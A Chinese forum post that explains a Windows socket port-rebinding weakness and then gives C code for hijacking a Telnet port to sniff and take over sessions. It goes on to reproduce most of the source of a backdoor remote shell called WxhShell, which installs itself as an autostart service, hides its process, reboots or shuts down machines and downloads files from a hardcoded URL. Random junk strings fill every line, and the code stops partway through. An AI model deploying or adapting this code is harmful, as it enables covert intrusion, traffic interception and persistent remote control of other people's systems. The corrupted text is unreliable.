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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R:aa+MX(1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "tk-w{>  
Xd `vDgD  
  saddr.sin_family = AF_INET; WYcA8 X/  
5e8AmY8;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }28=  
, E )|y4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0MF}^"R  
c]k*}W3T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _ QOZ sEe  
$.%rAa_H  
  这意味着什么?意味着可以进行如下的攻击: Fg]?zEa  
sBX-X$*N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^Q<mV*~  
Wi. 5Y{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t<iEj"5  
6A R2htN^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q!~ -(&S  
*XOJnyC_H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &EGqgNl  
q'[}9e`Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w*9br SK  
26?W nu60  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W#fZ1E6  
da!P0x9p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ] y{WD=T  
OPJ: XbG  
  #include Y$K!7Kq  
  #include Cizvw'XDV  
  #include igL<g  
  #include    E>LkJSy=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5Z/7kU= I  
  int main() T4/fdORS  
  { SMr13%KN/  
  WORD wVersionRequested; n{0Ld - zH  
  DWORD ret; qFX~[h8i+  
  WSADATA wsaData; =<@2#E)  
  BOOL val; ! |waK~jK  
  SOCKADDR_IN saddr; ?4H#G)F  
  SOCKADDR_IN scaddr; f_^1J  
  int err; BimjQ;jtI  
  SOCKET s;  D1 Z{W  
  SOCKET sc; URgk^nt2p  
  int caddsize; e!-,PU9+  
  HANDLE mt; .R*!aK  
  DWORD tid;   "^j>tii  
  wVersionRequested = MAKEWORD( 2, 2 ); O)|P,?  
  err = WSAStartup( wVersionRequested, &wsaData ); _9H*agRe  
  if ( err != 0 ) { 3chPY4~A  
  printf("error!WSAStartup failed!\n"); #hfuH=&oh  
  return -1; POI.]1i  
  } :,12")N  
  saddr.sin_family = AF_INET; ] Wy)   
   Psura$:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u9woEe?  
Jq.lT(E8D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $3T_ .  
  saddr.sin_port = htons(23); ,fDEz9-,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `^JJ&)4iv  
  { n"PJ,ao  
  printf("error!socket failed!\n"); [D "t~QMr  
  return -1; Y}*\[}l:&x  
  } 'n QVj  
  val = TRUE; 7tM9u5FF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sZWaV4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =WdaxjenZ/  
  { -{XRA6  
  printf("error!setsockopt failed!\n"); O`Gs S{$sS  
  return -1; r~-.nb"P  
  } {#P `^g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >>b3ZE|5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AmPMY:1i"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D-Vai#Cd  
AE`We$!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X[s8X!#  
  { =h6 sPJ  
  ret=GetLastError(); b !@Sn/  
  printf("error!bind failed!\n"); qW:)!z3\  
  return -1; qSqI7ptA\  
  } keW~ NM  
  listen(s,2); PP~rn fE  
  while(1) 0_P}z3(M  
  { anw}w !@U  
  caddsize = sizeof(scaddr); `!:q;i]}  
  //接受连接请求 B&+`)E{KB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yb i%od&  
  if(sc!=INVALID_SOCKET) OJN2z  
  { ev0oO+u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w@-PqsF  
  if(mt==NULL) W6T|iZoV"r  
  { "vYE+   
  printf("Thread Creat Failed!\n"); @l1  
  break; +x? #DH-  
  } $8USyGi3J  
  } m=AqV:%|  
  CloseHandle(mt); X{n- N5*  
  } (`>voi<^  
  closesocket(s); w~_;yQ  
  WSACleanup(); o@]So(9f  
  return 0; o*x*jn:hm  
  }   p(xC*KWB  
  DWORD WINAPI ClientThread(LPVOID lpParam) XoL JL]+?  
  { 6$a$K,dZ  
  SOCKET ss = (SOCKET)lpParam; $WYbm}j  
  SOCKET sc; I$NhXZ)KT  
  unsigned char buf[4096]; EV#MQM  
  SOCKADDR_IN saddr; tkQH\5  
  long num; =~Ynz7 /x  
  DWORD val; )#a[-.OI  
  DWORD ret; JXG"M#{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &zQ2M#{82  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <Llp\XcZ  
  saddr.sin_family = AF_INET; (Rk_-9_E.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); scuHmY0  
  saddr.sin_port = htons(23); =cN&A_L(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y={&5Mir  
  { RjF'x  
  printf("error!socket failed!\n"); QIN."&qC^  
  return -1; ri`R<l8  
  } 9Suu-A  
  val = 100; d_n7k g+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ;N B:e  
  { <2!v(EkI  
  ret = GetLastError(); >{eCh$L  
  return -1; nzjkX4KV  
  } FJ*i\Q/D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ] sz3]"2  
  { Q%/<ZC.Mz6  
  ret = GetLastError(); ,\ 2a=Fp  
  return -1; 4!asT;`'  
  } Q6o(']0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R1F5-#?'E  
  { {7!UQrm<  
  printf("error!socket connect failed!\n"); `r5 $LaD  
  closesocket(sc); T5Q{{@Q  
  closesocket(ss); 'Y$R~e^Y?  
  return -1; `c/*H29  
  } Y+4o B  
  while(1) O\K_q7iO6  
  { ;!o]wHmA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *5zrZ]^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e *(b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \;VhYvEH  
  num = recv(ss,buf,4096,0); ve ~05mg  
  if(num>0) M3p   
  send(sc,buf,num,0); #-3=o6DCK  
  else if(num==0) "'g[1Li  
  break; J};z85B  
  num = recv(sc,buf,4096,0); 2<&Bw2  
  if(num>0) -p-B2?)A  
  send(ss,buf,num,0); OmM=o*d  
  else if(num==0) +\li*G]:J  
  break; #`GY}-hL!  
  } !R*-R.%  
  closesocket(ss); Q^p|Ldj  
  closesocket(sc); h/x0]@M&  
  return 0 ; $^&ig  
  } p^(&qk?ut  
Hk>79};  
2=?tJ2E  
========================================================== ^:9$@ +a  
0Io'bF  
下边附上一个代码,,WXhSHELL .nYUL>  
Tirux ;  
========================================================== Xh J,"=E+  
5TBp'7 /s~  
#include "stdafx.h" K"<PGOF  
tb :L\A^:  
#include <stdio.h> %Pksv}  
#include <string.h> l5+gsEux]  
#include <windows.h> izKfU?2]X@  
#include <winsock2.h> |F.)zC5{  
#include <winsvc.h> 7?B.0>$3>V  
#include <urlmon.h> o!:8nXw  
>5R <;#8  
#pragma comment (lib, "Ws2_32.lib") i,13b e  
#pragma comment (lib, "urlmon.lib") [1Ydo`  
A2}Rl%+X]6  
#define MAX_USER   100 // 最大客户端连接数 MNH1D! }  
#define BUF_SOCK   200 // sock buffer Y(\T- bI  
#define KEY_BUFF   255 // 输入 buffer )BfT7{WN  
^kS T  
#define REBOOT     0   // 重启 Soie^$ Y  
#define SHUTDOWN   1   // 关机 {0! ~C=P  
bYz&P`o}  
#define DEF_PORT   5000 // 监听端口 =A Vg Iv  
:V2bS  
#define REG_LEN     16   // 注册表键长度 6t/`:OZC:  
#define SVC_LEN     80   // NT服务名长度 SI:U0gUc  
9Pw0m=4  
// 从dll定义API D>Gt]s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !v]b(z`Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %{6LUn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OMwsbp&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A:<;M@q !  
X=8Y&#%  
// wxhshell配置信息 [m+iQVk'  
struct WSCFG { @aQ1khEd  
  int ws_port;         // 监听端口 C"lJl k9g^  
  char ws_passstr[REG_LEN]; // 口令 g%u&Zkevx  
  int ws_autoins;       // 安装标记, 1=yes 0=no 56 l@a{  
  char ws_regname[REG_LEN]; // 注册表键名 "P)*FT  
  char ws_svcname[REG_LEN]; // 服务名 2oJb)CB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h7s; m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |[9?ma  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &C>/L;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6<0n *&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;n\= R 5.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y!6/[<r$~k  
s4_/&h  
}; ?PTk1sB  
3]-_q"Co4f  
// default Wxhshell configuration `nUO l  
struct WSCFG wscfg={DEF_PORT, l"n{.aL  
    "xuhuanlingzhe", >;z<j$;F<  
    1, iCP/P%  
    "Wxhshell", =h(W4scgqX  
    "Wxhshell", h;5LgAY|v  
            "WxhShell Service", iJnU%  
    "Wrsky Windows CmdShell Service", uP\lCqK,  
    "Please Input Your Password: ", iqnJ~g  
  1, T]Nu)  
  "http://www.wrsky.com/wxhshell.exe", ?^:h\C^a"  
  "Wxhshell.exe" &D%(~|'  
    }; 0J.dG/I%  
zi~5l#I  
// 消息定义模块 ?S?2 0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }HEvr)v9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >zkRcm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @pGZLq  
char *msg_ws_ext="\n\rExit."; 7FN<iI&7\  
char *msg_ws_end="\n\rQuit."; W4;m H}#0  
char *msg_ws_boot="\n\rReboot..."; gn5)SP8  
char *msg_ws_poff="\n\rShutdown..."; K;7f?52  
char *msg_ws_down="\n\rSave to "; o;b0m;~   
Lp5U"6y  
char *msg_ws_err="\n\rErr!"; PX|=(:(k  
char *msg_ws_ok="\n\rOK!"; XW JwJ  
}FF W|f  
char ExeFile[MAX_PATH]; H"2uxhdLK3  
int nUser = 0; F_xbwa*=  
HANDLE handles[MAX_USER]; #S%Q*k<hw  
int OsIsNt; 5 ,0d  
 s95vK7I  
SERVICE_STATUS       serviceStatus; {b]aC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; */ G<!W  
|}){}or  
// 函数声明 6io, uh!  
int Install(void); UZ8?[  
int Uninstall(void); -st7_3  
int DownloadFile(char *sURL, SOCKET wsh); U $Qv>7  
int Boot(int flag); Hn,:`mj4-6  
void HideProc(void); K.gEj*@  
int GetOsVer(void); @?C#r.vgp  
int Wxhshell(SOCKET wsl); bbxLBD'  
void TalkWithClient(void *cs); .I3?7  
int CmdShell(SOCKET sock); bYe;b><G  
int StartFromService(void); Oo?,fw  
int StartWxhshell(LPSTR lpCmdLine); 4E44Hzs  
D[O{(<9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?}Z1(it0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FZB~|3eq{  
$ _8g8r}  
// 数据结构和表定义 <"o"z2  
SERVICE_TABLE_ENTRY DispatchTable[] = :hGPTf  
{ 93[DAs  
{wscfg.ws_svcname, NTServiceMain}, M Jj4Hd  
{NULL, NULL} {F&-7u0  
}; T+LJ* I4  
7z_;t9Y  
// 自我安装 R`F,aIJ]  
int Install(void) `k\grr.J  
{  TIy&&_p  
  char svExeFile[MAX_PATH]; i` A  
  HKEY key; bg|!'1bD`5  
  strcpy(svExeFile,ExeFile); w",? Bef  
G ;?qWB,  
// 如果是win9x系统,修改注册表设为自启动  Lw1T 4n  
if(!OsIsNt) { 4Z[V uQng  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K[ .JlIP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,n2i@?NHZ  
  RegCloseKey(key); _F p>F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OPpjuIRv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n{*e 9Aw  
  RegCloseKey(key); nZR!*$} A  
  return 0; V+?]S  
    } I[o*RKT'"  
  } ctQbp~-  
} DOm[*1@^  
else { 3+MB5 T  
`ir3YnT+  
// 如果是NT以上系统,安装为系统服务 Ql?^ B SqG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y0v]N  
if (schSCManager!=0) Oc9#e+_&  
{ Ct$82J  
  SC_HANDLE schService = CreateService -6Tk<W  
  ( @|bP+8oU  
  schSCManager, {>0V[c[~  
  wscfg.ws_svcname, "Clz'J]{  
  wscfg.ws_svcdisp, 8 l/[(] &  
  SERVICE_ALL_ACCESS, 1|,Pq9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gG54:  
  SERVICE_AUTO_START, N132sN2   
  SERVICE_ERROR_NORMAL, &R+#W  
  svExeFile, ~ aZedQc  
  NULL, hwnx<f '  
  NULL, tXF]t   
  NULL, yh;Y,;4  
  NULL, Z.&\=qiY  
  NULL 4yMW^:@  
  ); $awi>#[  
  if (schService!=0) nbofYI$rd&  
  { 9T2xU3UyY  
  CloseServiceHandle(schService); (k-YI{D3  
  CloseServiceHandle(schSCManager); #i QX 6WF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B\j~)vg  
  strcat(svExeFile,wscfg.ws_svcname); `ia %)@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tP ~zKU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @^nu #R  
  RegCloseKey(key); jigs6#  
  return 0; c yQ(fIYl  
    } >AD =31lq  
  } |oKu=/[K  
  CloseServiceHandle(schSCManager); ^Uw[x\%#gD  
} 1uG=`k8'k  
} bk#xiuwT  
[_DPxM=V  
return 1; t\U$8l_;  
} GA^mgm"O  
kv|,b  
// 自我卸载 f~& a-  
int Uninstall(void) ,^T]UHRO  
{ u,i]a#K  
  HKEY key; I{.HO<$7D}  
H9"=  p  
if(!OsIsNt) { Z-Wfcnk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F+=urc>w  
  RegDeleteValue(key,wscfg.ws_regname); ]Bu DaxWN  
  RegCloseKey(key); a#(U2OP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2PC5^Ni/9@  
  RegDeleteValue(key,wscfg.ws_regname); ?A=b6Um  
  RegCloseKey(key);  .Oo/y0E^  
  return 0; n`5WXpz4;  
  } mVf.sA8  
} _\AUQ{  
} 4 \Di,PPu  
else { fp !:u  
lJ/6-dP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a+(j ?_FyI  
if (schSCManager!=0) ]mkJw3  
{ XI}I.M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0<P(M:a  
  if (schService!=0) }""p)Y&  
  { mxtgb$*  
  if(DeleteService(schService)!=0) { h)B!L Ar  
  CloseServiceHandle(schService); |^5/(16  
  CloseServiceHandle(schSCManager); 'C]jwxy  
  return 0; rc~Y=m   
  } zeOb Aw1O  
  CloseServiceHandle(schService); pcpxe&S  
  } [\HQPo'S  
  CloseServiceHandle(schSCManager); QWhp:] }  
} f)gGH'yOQ  
} [b`$\o'-  
 q6)N*?  
return 1;  # eEvF  
} Yf (im  
"Z9^}  
// 从指定url下载文件 >\\5"S f  
int DownloadFile(char *sURL, SOCKET wsh) Vu|dV\N0*  
{ cyc>_$/;1  
  HRESULT hr; sFx$>:$  
char seps[]= "/"; %Rn:G K  
char *token;  z\$;'  
char *file; |0w~P s  
char myURL[MAX_PATH]; mVrKz  
char myFILE[MAX_PATH]; m+$/DD^-zl  
&!#2ZJ}{  
strcpy(myURL,sURL); [f(uqLdeM  
  token=strtok(myURL,seps); #_p  
  while(token!=NULL) oP-;y&AS  
  { S-,kI  
    file=token; 7,su f }=  
  token=strtok(NULL,seps); <j"O%y.  
  } A:xb!= 2  
c,AZ/t  
GetCurrentDirectory(MAX_PATH,myFILE); /'`6 ; uRN  
strcat(myFILE, "\\"); 7jR7  
strcat(myFILE, file); w%~qB5wF6  
  send(wsh,myFILE,strlen(myFILE),0); Zjt9vS)  
send(wsh,"...",3,0); R`3x=q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JJNmpUJ  
  if(hr==S_OK) 5=.7\#D  
return 0; yTj p-  
else uXP- J]>  
return 1; WhenwQT  
wLSjXpP8  
} ,*w>z  
_DrnL}9I7  
// 系统电源模块 y3AL)  
int Boot(int flag) :+1bg&wQ  
{ f-s~Q 4  
  HANDLE hToken; -g$O OJB6  
  TOKEN_PRIVILEGES tkp; _X?y ,#  
z=%IcSx;  
  if(OsIsNt) { @2|G|C/]O}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *|CLO|B)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &0i71!Oy  
    tkp.PrivilegeCount = 1; >+f'!*%7He  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F]Pul|.l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lk~dgky@  
if(flag==REBOOT) { q"l>`KCG`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HMQ 'b(a'  
  return 0; %N1T{   
} iUpSN0XkMM  
else { K wQXA'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +}\29@{W  
  return 0; i 63?"  
} vnF g%M!  
  } i!y\WaCp  
  else { d^_itC;-,  
if(flag==REBOOT) { f0g6g!&gf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =X<)5IS3  
  return 0; xz="|HD);  
} BMe72  
else { myffYK,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T+3k$G[e/  
  return 0; P)4x   
} 89ZDOji?O  
} XuA0.b%  
AwA1&mh  
return 1; )m)h/_  
} JJ)y2  
K"G(?<>~4c  
// win9x进程隐藏模块 f};!m=b  
void HideProc(void) #<D@3ScC  
{ US"2O!u  
rg"TJ"Q-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c-v*4b/d  
  if ( hKernel != NULL ) %oMWcgsdJi  
  { 4h(jw   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zmdWVFV v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7d%A1}Bq$  
    FreeLibrary(hKernel); ~}Kp  
  } 0LZ=`tI  
$)4GCP  
return; `f2W;@V0  
} 54;l*}8Hl  
t.gq5Y.[  
// 获取操作系统版本 Cbazwq  
int GetOsVer(void) eR(\s_`  
{ 4;",@}  
  OSVERSIONINFO winfo; / O|Td'Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k q/t]%(  
  GetVersionEx(&winfo); 6zELe.tq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b "`ru~]  
  return 1; \=$EmHF  
  else Q|6Ls$'$  
  return 0; =I %g;YK  
} z0=Rp0_W  
rwasH,+  
// 客户端句柄模块 Sa( yjF1  
int Wxhshell(SOCKET wsl) z%++\.g_  
{ X!7 c zt  
  SOCKET wsh; Omp i~  
  struct sockaddr_in client; "m wl-=  
  DWORD myID; >SY 2LmV'a  
>Iu]T{QNO  
  while(nUser<MAX_USER) u4`mQ6  
{ +R3\cRM  
  int nSize=sizeof(client); 3(cU)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A%.J%[MVz  
  if(wsh==INVALID_SOCKET) return 1; Q:'qw#P/C  
]Y?{$M G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bS_y_ 9K  
if(handles[nUser]==0) uEc0/ a :.  
  closesocket(wsh); cfrvy^>,  
else ~| 4U@  
  nUser++; p} t{8j >  
  } V=G b>_d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pil0,r $D  
r\4*\  
  return 0; OL,/-;z6  
} !C9ps]6  
$]Q*E4(kV9  
// 关闭 socket YlZYS'_  
void CloseIt(SOCKET wsh) 7F>gj  
{ H9oXZSm  
closesocket(wsh); #i}#jMT  
nUser--; /k4^&  
ExitThread(0); > C*?17\  
} _"R3N  
J3]qg.B%z  
// 客户端请求句柄 Td["l!-fe  
void TalkWithClient(void *cs) +1E?He:iQ  
{ $gj+v+%N  
qcR|E`k-G  
  SOCKET wsh=(SOCKET)cs; 4GMa5]Ft  
  char pwd[SVC_LEN]; 0A #9C09  
  char cmd[KEY_BUFF]; ,yB?~  
char chr[1]; _mIa8K;  
int i,j; CF4Oh-f  
i?1js! 8  
  while (nUser < MAX_USER) { qK 9L+i  
j`[yoAH  
if(wscfg.ws_passstr) { kR`6s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WI*^+E&=*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c%xED%X9  
  //ZeroMemory(pwd,KEY_BUFF); F]URf&U  
      i=0; t  z +  
  while(i<SVC_LEN) { J_y<0zF**  
CrRQPgl+u  
  // 设置超时 60U{ e}Mkb  
  fd_set FdRead; !0!P.Q8>&  
  struct timeval TimeOut; i/C -{+}U  
  FD_ZERO(&FdRead); zR3lX}g  
  FD_SET(wsh,&FdRead); PMz{8 F  
  TimeOut.tv_sec=8; []6ShcqJ[v  
  TimeOut.tv_usec=0; SG(%d^x`R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fY)4]=L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ DABR  
q:EzKrE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rE bx%u7Q  
  pwd=chr[0]; hB2s$QS  
  if(chr[0]==0xd || chr[0]==0xa) { iECC@g@a  
  pwd=0; q>D4ma^  
  break; &F<J#cfe8  
  } \ pe[V~F  
  i++; 36x5q 1  
    } .dg 4gr\D  
xy-$v   
  // 如果是非法用户,关闭 socket #G[ *2h~99  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s&_IWala  
} +[ZMrTW!0C  
d @^o/w8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k vue@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }e/[$!35  
vJ'yz#tl9  
while(1) { /q*Qx )y+1  
K&\BwBU  
  ZeroMemory(cmd,KEY_BUFF); ^cPo{xf  
F=*BvI "+  
      // 自动支持客户端 telnet标准   }K#&5E  
  j=0; Y_Z &p#Q!  
  while(j<KEY_BUFF) { P&-D0T_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3u"J4%zg|L  
  cmd[j]=chr[0]; \ eyQo>(  
  if(chr[0]==0xa || chr[0]==0xd) { NXWIE4T>*^  
  cmd[j]=0; QvK]<HEr  
  break; Y|x6g(b  
  } WW8YB"  
  j++; 6/V{>MTZg  
    } bz}AO))Hk  
xRTg [  
  // 下载文件 vBCZ/F[  
  if(strstr(cmd,"http://")) { [# tT o;q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pT_e;,KW U  
  if(DownloadFile(cmd,wsh)) NBbY## w0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @tjZvRtZ  
  else %xbz&'W,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &ls!IN  
  } =?I1V#.  
  else { Z|cTzunp  
a dz;N;rIY  
    switch(cmd[0]) { gqHH Hh  
  &]"_pc/>m  
  // 帮助 !w;A=  
  case '?': { v#<+n{B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q=E}#[EgY  
    break; [V#&sAe  
  } u {E^<fW]  
  // 安装 *"wD& E?  
  case 'i': { f-f\}G&G  
    if(Install()) #(7RX}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Xkc0E1  
    else NkjQyMF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); No92Y^~/  
    break; -SC2Zgi)A  
    } i>kNz(*  
  // 卸载 :;hBq4h  
  case 'r': { 8HH.P`Vk#  
    if(Uninstall()) ]B[/sqf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&G O4u  
    else x"C93ft[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BB73' W8y  
    break; te)g',#lT  
    } ~i_ R%z:y  
  // 显示 wxhshell 所在路径 B"E(Y M  
  case 'p': {  JY050FL  
    char svExeFile[MAX_PATH]; hc p'+:  
    strcpy(svExeFile,"\n\r"); sVm'9k  
      strcat(svExeFile,ExeFile); u):Rw  
        send(wsh,svExeFile,strlen(svExeFile),0); 1rm$@L  
    break; |)P;%Fy9  
    } ^x1D]+  
  // 重启 x+)hL D[ n  
  case 'b': { <4A(Z$ZX)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gQ+_&'C  
    if(Boot(REBOOT)) I +4qu|0lA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *i]Z=  
    else { n4d(`  
    closesocket(wsh); ~BYEeUo;%v  
    ExitThread(0); 3 z/O`z  
    } cdU >iB,  
    break; fY+ .#V  
    } px(1Ppb9  
  // 关机 |#k hwH  
  case 'd': { )mo|.L0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $GfxMt  
    if(Boot(SHUTDOWN)) B& f~.UH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zKAyfn.A  
    else {  ;;"c+  
    closesocket(wsh); 5A=xFj{  
